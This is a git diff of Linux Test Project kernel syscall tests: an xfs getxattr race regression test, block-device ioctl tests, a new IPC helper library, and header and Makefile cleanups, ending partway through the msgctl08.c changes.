+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.*
+ */
+
+/*
+ * This is a regression test for the race between getting an existing
+ * xattr and setting/removing a large xattr.  This bug leads to that
+ * getxattr() fails to get an existing xattr and returns ENOATTR in xfs
+ * filesystem.
+ *
+ * Thie bug has been fixed in:
+ *
+ * commit 5a93790d4e2df73e30c965ec6e49be82fc3ccfce
+ * Author: Brian Foster <bfoster@redhat.com>
+ * Date:   Wed Jan 25 07:53:43 2017 -0800
+ *
+ * xfs: remove racy hasattr check from attr ops
+ */
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <string.h>
+#include <stdlib.h>
+#include <signal.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define MNTPOINT	"mntpoint"
+#define TEST_FILE	MNTPOINT "/file"
+#define TRUSTED_BIG	"trusted.big"
+#define TRUSTED_SMALL	"trusted.small"
+
+static volatile int end;
+static char big_value[512];
+static char small_value[32];
+
+static void sigproc(int sig)
+{
+	end = sig;
+}
+
+static void loop_getxattr(void)
+{
+	int res;
+
+	while (!end) {
+		res = getxattr(TEST_FILE, TRUSTED_SMALL, NULL, 0);
+		if (res == -1) {
+			if (errno == ENODATA) {
+				tst_res(TFAIL, "getxattr() failed to get an "
+					"existing attribute");
+			} else {
+				tst_res(TFAIL | TERRNO,
+					"getxattr() failed without ENOATTR");
+			}
+
+			exit(0);
+		}
+	}
+
+	tst_res(TPASS, "getxattr() succeeded to get an existing attribute");
+	exit(0);
+}
+
+static void verify_getxattr(void)
+{
+	pid_t pid;
+	int n;
+
+	end = 0;
+
+	pid = SAFE_FORK();
+	if (!pid)
+		loop_getxattr();
+
+	for (n = 0; n < 99; n++) {
+		SAFE_SETXATTR(TEST_FILE, TRUSTED_BIG, big_value,
+				sizeof(big_value), XATTR_CREATE);
+		SAFE_REMOVEXATTR(TEST_FILE, TRUSTED_BIG);
+	}
+
+	kill(pid, SIGUSR1);
+	tst_reap_children();
+}
+
+static void setup(void)
+{
+	SAFE_SIGNAL(SIGUSR1, sigproc);
+
+	SAFE_TOUCH(TEST_FILE, 0644, NULL);
+
+	memset(big_value, 'a', sizeof(big_value));
+	memset(small_value, 'a', sizeof(small_value));
+
+	SAFE_SETXATTR(TEST_FILE, TRUSTED_SMALL, small_value,
+			sizeof(small_value), XATTR_CREATE);
+}
+
+static struct tst_test test = {
+	.tid = "getxattr04",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.mount_device = 1,
+	.dev_fs_type = "xfs",
+	.mntpoint = MNTPOINT,
+	.forks_child = 1,
+	.test_all = verify_getxattr,
+	.setup = setup
+};
+
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/inotify/inotify.h b/testcases/kernel/syscalls/inotify/inotify.h
index 68fe3b5..ac731bc 100644
--- a/testcases/kernel/syscalls/inotify/inotify.h
+++ b/testcases/kernel/syscalls/inotify/inotify.h
@@ -22,7 +22,7 @@
  * with this program; if not, write the Free Software Foundation, Inc.,
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  *
- * Garrett Cooper, April 2012
+ * Ngie Cooper, April 2012
  */
 
 #ifndef	_INOTIFY_H
diff --git a/testcases/kernel/syscalls/inotify/inotify01.c b/testcases/kernel/syscalls/inotify/inotify01.c
index 3d84551..58dfe14 100644
--- a/testcases/kernel/syscalls/inotify/inotify01.c
+++ b/testcases/kernel/syscalls/inotify/inotify01.c
@@ -33,7 +33,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/inotify/inotify02.c b/testcases/kernel/syscalls/inotify/inotify02.c
index 74fd7dd..fde104f 100644
--- a/testcases/kernel/syscalls/inotify/inotify02.c
+++ b/testcases/kernel/syscalls/inotify/inotify02.c
@@ -34,7 +34,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/inotify/inotify03.c b/testcases/kernel/syscalls/inotify/inotify03.c
index 2ad75b4..d3007b0 100644
--- a/testcases/kernel/syscalls/inotify/inotify03.c
+++ b/testcases/kernel/syscalls/inotify/inotify03.c
@@ -36,7 +36,7 @@
 #include <sys/mount.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
@@ -166,6 +166,8 @@
 {
 	int ret;
 
+	tst_require_root();
+
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
 	TEST_PAUSE;
diff --git a/testcases/kernel/syscalls/inotify/inotify04.c b/testcases/kernel/syscalls/inotify/inotify04.c
index 1b6c6d2..1a18341 100644
--- a/testcases/kernel/syscalls/inotify/inotify04.c
+++ b/testcases/kernel/syscalls/inotify/inotify04.c
@@ -20,7 +20,7 @@
  * with this program; if not, write the Free Software Foundation, Inc.,
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  *
- * Garrett Cooper, April 2012
+ * Ngie Cooper, April 2012
  */
 
 /****************************************************************************
diff --git a/testcases/kernel/syscalls/inotify/inotify05.c b/testcases/kernel/syscalls/inotify/inotify05.c
index bc621b8..cd48f40 100644
--- a/testcases/kernel/syscalls/inotify/inotify05.c
+++ b/testcases/kernel/syscalls/inotify/inotify05.c
@@ -30,7 +30,7 @@
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/syscall.h>
diff --git a/testcases/kernel/syscalls/ioctl/Makefile b/testcases/kernel/syscalls/ioctl/Makefile
index a15afa7..f7d6adb 100644
--- a/testcases/kernel/syscalls/ioctl/Makefile
+++ b/testcases/kernel/syscalls/ioctl/Makefile
@@ -22,4 +22,8 @@
 
 INSTALL_TARGETS		+= test_ioctl
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_MAKE_TARGETS	+= ioctl02
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ioctl/ioctl02.c b/testcases/kernel/syscalls/ioctl/ioctl02.c
index 6c9ea98..c564823 100644
--- a/testcases/kernel/syscalls/ioctl/ioctl02.c
+++ b/testcases/kernel/syscalls/ioctl/ioctl02.c
@@ -61,7 +61,7 @@
 #include <fcntl.h>
 #include <signal.h>
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/ioctl.h>
diff --git a/testcases/kernel/syscalls/ioctl/ioctl04.c b/testcases/kernel/syscalls/ioctl/ioctl04.c
new file mode 100644
index 0000000..8f78247
--- /dev/null
+++ b/testcases/kernel/syscalls/ioctl/ioctl04.c
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Basic test for the BLKROSET and BLKROGET ioctls.
+ *
+ * - Set the device read only, read the value back.
+ * - Try to mount the device read write, expect failure.
+ * - Try to mount the device read only, expect success.
+ */
+
+#include <errno.h>
+#include <sys/mount.h>
+#include "tst_test.h"
+
+static int fd;
+
+static void verify_ioctl(void)
+{
+	int ro = 1;
+
+	SAFE_IOCTL(fd, BLKROGET, &ro);
+
+	if (ro == 0)
+		tst_res(TPASS, "BLKROGET returned 0");
+	else
+		tst_res(TFAIL, "BLKROGET returned %i", ro);
+
+	ro = 1;
+	SAFE_IOCTL(fd, BLKROSET, &ro);
+
+	ro = 0;
+	SAFE_IOCTL(fd, BLKROGET, &ro);
+
+	if (ro == 0)
+		tst_res(TFAIL, "BLKROGET returned 0");
+	else
+		tst_res(TPASS, "BLKROGET returned %i", ro);
+
+	TEST(mount(tst_device->dev, "mntpoint", tst_device->fs_type, 0, NULL));
+
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "Mounting RO device RW succeeded");
+		tst_umount("mntpoint");
+		goto next;
+	}
+
+	if (TEST_ERRNO == EACCES) {
+		tst_res(TPASS | TERRNO, "Mounting RO device RW failed");
+		goto next;
+	}
+
+	tst_res(TFAIL | TERRNO,
+		"Mounting RO device RW failed unexpectedly expected EACCES");
+
+next:
+	TEST(mount(tst_device->dev, "mntpoint", tst_device->fs_type, MS_RDONLY, NULL));
+
+	if (TEST_RETURN == 0) {
+		tst_res(TPASS, "Mounting RO device RO works");
+		tst_umount("mntpoint");
+	} else {
+		tst_res(TFAIL | TTERRNO, "Mounting RO device RO failed");
+	}
+
+	ro = 0;
+	SAFE_IOCTL(fd, BLKROSET, &ro);
+}
+
+static void setup(void)
+{
+	SAFE_MKDIR("mntpoint", 0777);
+	fd = SAFE_OPEN(tst_device->dev, O_RDONLY);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tid = "ioctl04",
+	.needs_tmpdir = 1,
+	.format_device = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_ioctl,
+};
diff --git a/testcases/kernel/syscalls/ioctl/ioctl05.c b/testcases/kernel/syscalls/ioctl/ioctl05.c
new file mode 100644
index 0000000..d1b44f1
--- /dev/null
+++ b/testcases/kernel/syscalls/ioctl/ioctl05.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Basic test for the BLKGETSIZE and BLKGETSIZE64 ioctls.
+ *
+ * - BLKGETSIZE returns size in 512 byte blocks BLKGETSIZE64 in bytes
+ *   compare that they return the same value.
+ * - lseek to the end of the device, this should work
+ * - try to read from the device, read should return 0
+ */
+
+#include <stdint.h>
+#include <errno.h>
+#include <sys/mount.h>
+#include "tst_test.h"
+
+static int fd;
+
+static void verify_ioctl(void)
+{
+	unsigned long size = 0;
+	uint64_t size64 = 0;
+	char buf;
+	int ret;
+
+	fd = SAFE_OPEN(tst_device->dev, O_RDONLY);
+
+	SAFE_IOCTL(fd, BLKGETSIZE, &size);
+	SAFE_IOCTL(fd, BLKGETSIZE64, &size64);
+
+	if (size == size64/512) {
+		tst_res(TPASS, "BLKGETSIZE returned %lu, BLKGETSIZE64 %llu",
+			size, (unsigned long long)size64);
+	} else {
+		tst_res(TFAIL,
+			"BLKGETSIZE returned %lu, BLKGETSIZE64 returned %llu",
+			size, (unsigned long long)size64);
+	}
+
+	if (lseek(fd, size * 512, SEEK_SET) !=  (off_t)size * 512) {
+		tst_res(TFAIL | TERRNO,
+			"Cannot lseek to the end of the device");
+	} else {
+		tst_res(TPASS, "Could lseek to the end of the device");
+	}
+
+	ret = read(fd, &buf, 1);
+
+	if (ret == 0) {
+		tst_res(TPASS,
+			"Got EOF when trying to read after the end of device");
+	} else {
+		tst_res(TFAIL | TERRNO,
+			"Read at the end of device returned %i", ret);
+	}
+
+	SAFE_CLOSE(fd);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tid = "ioctl05",
+	.needs_device = 1,
+	.needs_root = 1,
+	.cleanup = cleanup,
+	.test_all = verify_ioctl,
+};
diff --git a/testcases/kernel/syscalls/ioctl/ioctl06.c b/testcases/kernel/syscalls/ioctl/ioctl06.c
new file mode 100644
index 0000000..642283a
--- /dev/null
+++ b/testcases/kernel/syscalls/ioctl/ioctl06.c
@@ -0,0 +1,73 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Basic test for the BLKRASET and BLKRAGET ioctls.
+ *
+ * Sets device read-ahead, reads it back and compares the values.
+ *
+ * The read-ahead value was choosen to be multiple of 512, since it's rounded
+ * based on page size on BLKRASET and 512 should be safe enough for everyone.
+ */
+
+#include <errno.h>
+#include <sys/mount.h>
+#include "tst_test.h"
+
+static int fd;
+
+static void verify_ioctl(void)
+{
+	unsigned long ra, rab, rao;
+
+	SAFE_IOCTL(fd, BLKRAGET, &rao);
+
+	tst_res(TINFO, "BLKRAGET original value %lu", rao);
+
+	for (ra = 0; ra <= 4096; ra += 512) {
+		SAFE_IOCTL(fd, BLKRASET, ra);
+		SAFE_IOCTL(fd, BLKRAGET, &rab);
+
+		if (ra == rab)
+			tst_res(TPASS, "BLKRASET %lu read back correctly", ra);
+		else
+			tst_res(TFAIL, "BLKRASET %lu read back %lu", ra, rab);
+	}
+
+	tst_res(TINFO, "BLKRASET restoring original value %lu", rao);
+
+	SAFE_IOCTL(fd, BLKRASET, rao);
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN(tst_device->dev, O_RDONLY);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tid = "ioctl06",
+	.needs_root = 1,
+	.needs_device = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_ioctl,
+};
diff --git a/testcases/kernel/syscalls/ipc/Makefile b/testcases/kernel/syscalls/ipc/Makefile
index 42492db..fbd2f6f 100644
--- a/testcases/kernel/syscalls/ipc/Makefile
+++ b/testcases/kernel/syscalls/ipc/Makefile
@@ -21,7 +21,8 @@
 include $(top_srcdir)/include/mk/env_pre.mk
 
 LIBDIR			:= lib
-FILTER_OUT_DIRS		:= $(LIBDIR)
+LIBNEWDIR		:= libnewipc
+FILTER_OUT_DIRS		:= $(LIBDIR) $(LIBNEWDIR)
 LIB			:= $(LIBDIR)/libipc.a $(LIBDIR)/libmsgctl.a
 
 $(LIBDIR):
@@ -32,9 +33,12 @@
 
 MAKE_DEPS		:= $(LIB)
 
-trunk-clean:: | lib-clean
+trunk-clean:: | lib-clean libnew-clean
 
 lib-clean:: $(LIBDIR)
 	$(MAKE) -C $^ -f "$(abs_srcdir)/$^/Makefile" clean
 
+libnew-clean:: $(LIBNEWDIR)
+	$(MAKE) -C $^ -f "$(abs_srcdir)/$^/Makefile" clean
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/kernel/syscalls/ipc/Makefile.inc b/testcases/kernel/syscalls/ipc/Makefile.inc
index c7890a9..839b4e4 100644
--- a/testcases/kernel/syscalls/ipc/Makefile.inc
+++ b/testcases/kernel/syscalls/ipc/Makefile.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # DO NOT USE THIS FILE FOR ipc / lib!!!
diff --git a/testcases/commands/fileutils/Makefile b/testcases/kernel/syscalls/ipc/Makefile2.inc
similarity index 65%
copy from testcases/commands/fileutils/Makefile
copy to testcases/kernel/syscalls/ipc/Makefile2.inc
index 65616f7..9d61245 100644
--- a/testcases/commands/fileutils/Makefile
+++ b/testcases/kernel/syscalls/ipc/Makefile2.inc
@@ -1,7 +1,7 @@
 #
-#    commands/fileutils test suite Makefile.
+#    kernel/syscalls/ipc testcase suite common definitions Makefile.
 #
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (C) 2016, Cyril Hrubis
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -17,11 +17,20 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
-#
 
-top_srcdir		?= ../../..
+LDLIBS			+= -lnewipc
+LIBDIR			:= ../libnewipc
 
-include $(top_srcdir)/include/mk/env_pre.mk
+LIBIPC			:= $(LIBDIR)/libnewipc.a
 
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+$(LIBDIR):
+	mkdir -p "$@"
+
+$(LIBIPC): $(LIBDIR)
+	$(MAKE) -C $^ -f "$(abs_srcdir)/$^/Makefile" all
+
+MAKE_DEPS		:= $(LIBIPC)
+
+CPPFLAGS		+= -I$(abs_srcdir)/$(LIBDIR)
+
+LDFLAGS			+= -L$(abs_builddir)/$(LIBDIR)
diff --git a/testcases/kernel/syscalls/ipc/lib/ipcshm.h b/testcases/kernel/syscalls/ipc/lib/ipcshm.h
index 70903ca..08307d4 100644
--- a/testcases/kernel/syscalls/ipc/lib/ipcshm.h
+++ b/testcases/kernel/syscalls/ipc/lib/ipcshm.h
@@ -25,7 +25,7 @@
 #define __IPCSHM_H
 
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/ipc.h>
 #include <sys/shm.h>
 
diff --git a/testcases/kernel/syscalls/ipc/lib/libipc.c b/testcases/kernel/syscalls/ipc/lib/libipc.c
index 4de7faa..d94880f 100644
--- a/testcases/kernel/syscalls/ipc/lib/libipc.c
+++ b/testcases/kernel/syscalls/ipc/lib/libipc.c
@@ -39,7 +39,6 @@
 #include "ipcsem.h"
 
 #include <pwd.h>
-#include <sys/timeb.h>
 #include <sys/ipc.h>
 #include <sys/shm.h>
 
diff --git a/testcases/kernel/syscalls/ipc/libnewipc/Makefile b/testcases/kernel/syscalls/ipc/libnewipc/Makefile
new file mode 100644
index 0000000..efd8da7
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/libnewipc/Makefile
@@ -0,0 +1,24 @@
+#
+# Copyright (c) 2016 Xiao Yang <yangx.jy@cn.fujitsu.com>
+#
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.
+#
+
+top_srcdir		?= ../../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INTERNAL_LIB		:= libnewipc.a
+
+include $(top_srcdir)/include/mk/lib.mk
diff --git a/testcases/kernel/syscalls/ipc/libnewipc/libnewipc.c b/testcases/kernel/syscalls/ipc/libnewipc/libnewipc.c
new file mode 100644
index 0000000..8ea421f
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/libnewipc/libnewipc.c
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2016 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ */
+
+/*
+ * DESCRIPTION
+ * common routines for the IPC system call tests.
+ */
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+
+#define	TST_NO_DEFAULT_MAIN
+
+#include "tst_test.h"
+#include "libnewipc.h"
+
+#define BUFSIZE 1024
+
+key_t getipckey(const char *file, const int lineno)
+{
+	char buf[BUFSIZE];
+	key_t key;
+	int id;
+	static int count;
+
+	SAFE_GETCWD(buf, BUFSIZE);
+
+	id = count % 26 + (int) 'a';
+	count++;
+
+	key = ftok(buf, id);
+	if (key == -1) {
+		tst_brk(TBROK | TERRNO,
+			"ftok() failed at %s:%d", file, lineno);
+	}
+
+	return key;
+}
+
+int get_used_queues(const char *file, const int lineno)
+{
+	FILE *fp;
+	int used_queues = -1;
+	char buf[BUFSIZE];
+
+	fp = fopen("/proc/sysvipc/msg", "r");
+	if (fp == NULL) {
+		tst_brk(TBROK | TERRNO,
+			"fopen() failed at %s:%d", file, lineno);
+	}
+
+	while (fgets(buf, BUFSIZE, fp) != NULL)
+		used_queues++;
+
+	fclose(fp);
+
+	if (used_queues < 0) {
+		tst_brk(TBROK, "can't read /proc/sysvipc/msg to get "
+			"used message queues at %s:%d", file, lineno);
+	}
+
+	return used_queues;
+}
diff --git a/testcases/kernel/syscalls/ipc/libnewipc/libnewipc.h b/testcases/kernel/syscalls/ipc/libnewipc/libnewipc.h
new file mode 100644
index 0000000..39148be
--- /dev/null
+++ b/testcases/kernel/syscalls/ipc/libnewipc/libnewipc.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright (c) 2016 Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ */
+
+/*
+ * common definitions for the IPC system calls.
+ */
+
+#ifndef __LIBNEWIPC_H
+#define __LIBNEWIPC_H	1
+
+#define MSG_RD	0400
+#define MSG_WR	0200
+#define MSG_RW	(MSG_RD | MSG_WR)
+#define MSGSIZE	1024
+#define MSGTYPE	1
+#define NR_MSGQUEUES	16
+#define min(a, b)	(((a) < (b)) ? (a) : (b))
+
+#define SEM_RD	0400
+#define SEM_ALT	0200
+#define SEM_RA	(SEM_RD | SEM_ALT)
+#define PSEMS	10
+
+#define SHM_RD	0400
+#define SHM_WR	0200
+#define SHM_RW	(SHM_RD | SHM_WR)
+#define SHM_SIZE	2048
+#define INT_SIZE	4
+#define MODE_MASK	0x01FF
+
+key_t getipckey(const char *file, const int lineno);
+#define GETIPCKEY() \
+	getipckey(__FILE__, __LINE__)
+
+int get_used_queues(const char *file, const int lineno);
+#define GET_USED_QUEUES() \
+	get_used_queues(__FILE__, __LINE__)
+
+#endif /* newlibipc.h */
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c
index 2710980..297b593 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl06.c
@@ -35,10 +35,10 @@
  *
  */
 
-#include <sys/types.h>		/* needed for test              */
-#include <sys/ipc.h>		/* needed for test              */
-#include <sys/msg.h>		/* needed for test              */
-#include <stdio.h>		/* needed by testhead.h         */
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <stdio.h>
 #include "test.h"
 #include "ipcmsg.h"
 
@@ -61,11 +61,12 @@
 int msqid, status;
 struct msqid_ds buf;
 
-/*--------------------------------------------------------------*/
-
-int main(void)
+int main(int argc, char *argv[])
 {
 	key_t key;
+
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	setup();
 
 	key = getipckey();
@@ -110,55 +111,26 @@
 	}
 
 	tst_resm(TPASS, "msgctl06 ran successfully!");
-    /***************************************************************
-     * cleanup and exit
-     ***************************************************************/
-	cleanup();
 
+	cleanup();
 	tst_exit();
 }
 
-/***************************************************************
- *  * setup() - performs all ONE TIME setup for this test.
- *   ****************************************************************/
 void setup(void)
 {
 	tst_require_root();
 
-	/* You will want to enable some signal handling so you can capture
-	 * unexpected signals like SIGSEGV.
-	 */
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
-	/* One cavet that hasn't been fixed yet.  TEST_PAUSE contains the code to
-	 * fork the test with the -c option.  You want to make sure you do this
-	 * before you create your temporary directory.
-	 */
 	TEST_PAUSE;
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
 	tst_tmpdir();
 }
 
-/***************************************************************
- *  *  * cleanup() - performs all ONE TIME cleanup for this test at
- *   *   *              completion or premature exit.
- *    *    ***************************************************************/
 void cleanup(void)
 {
 	int status;
 
-	/*
-	 * Remove the message queue from the system
-	 */
-#ifdef DEBUG
-	tst_resm(TINFO, "Remove the message queue");
-#endif
-	fflush(stdout);
 	(void)msgctl(msqid, IPC_RMID, NULL);
 	if ((status = msgctl(msqid, IPC_STAT, &buf)) != -1) {
 		(void)msgctl(msqid, IPC_RMID, NULL);
@@ -166,8 +138,5 @@
 
 	}
 
-	fflush(stdout);
-
 	tst_rmdir();
-
 }
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c
index a05f94a..b978692 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl07.c
@@ -39,7 +39,7 @@
 #include <sys/ipc.h>
 #include <sys/msg.h>
 #include <signal.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <stdio.h>
 #include "test.h"
 #include "ipcmsg.h"
@@ -68,22 +68,15 @@
 	char text[BYTES];
 } p1_msgp, p2_msgp, p3_msgp, c1_msgp, c2_msgp, c3_msgp;
 
-int main(void)
+int main(int argc, char *argv[])
 {
 	key_t key;
 	int pid, status;
 	int i, j, k;
 	sighandler_t alrm();
 
-#ifdef UCLINUX
-
 	tst_parse_opts(argc, argv, NULL, NULL);
 
-	maybe_run_child(&do_child_1, "ndd", 1, &msqid, &c1_msgp.type);
-	maybe_run_child(&do_child_2, "ndddd", 2, &msqid, &c1_msgp.type,
-			&c2_msgp.type, &c3_msgp.type);
-#endif
-
 	setup();
 
 	key = getipckey();
@@ -98,13 +91,7 @@
 		tst_brkm(TFAIL, NULL,
 			 "\tFork failed (may be OK if under stress)");
 	} else if (pid == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv[0], "ndd", 1, msqid, c1_msgp.type) < 0) {
-			tst_brkm(TFAIL, NULL, "\tself_exec failed");
-		}
-#else
 		do_child_1();
-#endif
 	} else {
 		struct sigaction act;
 
@@ -144,14 +131,7 @@
 		tst_brkm(TFAIL, NULL,
 			 "\tFork failed (may be OK if under stress)");
 	} else if (pid == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv[0], "ndddd", 1, msqid, c1_msgp.type,
-			      c2_msgp.type, c3_msgp.type) < 0) {
-			tst_brkm(TFAIL, NULL, "\tself_exec failed");
-		}
-#else
 		do_child_2();
-#endif
 	} else {
 		struct sigaction act;
 
diff --git a/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c b/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c
index eca50c5..7bcec50 100644
--- a/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c
+++ b/testcases/kernel/syscalls/ipc/msgctl/msgctl08.c
@@ -64,16 +64,20 @@
 static int dotest(key_t key, int child_process);
 static void sig_handler();
 
-#ifdef UCLINUX
-static char *argv0;
-static key_t key_uclinux;
-static int i_uclinux;
-static int id_uclinux;
-static int child_process_uclinux;
+static char *opt_nprocs;
+static char *opt_nreps;
 
-static void do_child_1_uclinux(void);
-static void do_child_2_uclinux(void);
-#endif
+static option_t options[] = {
+	{"n:", NULL, &opt_nprocs},
+	{"l:", NULL, &opt_nreps},
+	{NULL, NULL, NULL},
+};
+
+static void usage(void)
+{
+	printf("  -n      Number of processes\n");
+	printf("  -l      Number of iterations\n");
+}
 
 int main(int argc, char **argv)
 {
@@ -81,46 +85,31 @@
 	int count, status;
 	struct sigaction act;
 
-#ifdef UCLINUX
-
-	argv0 = argv[0];
-
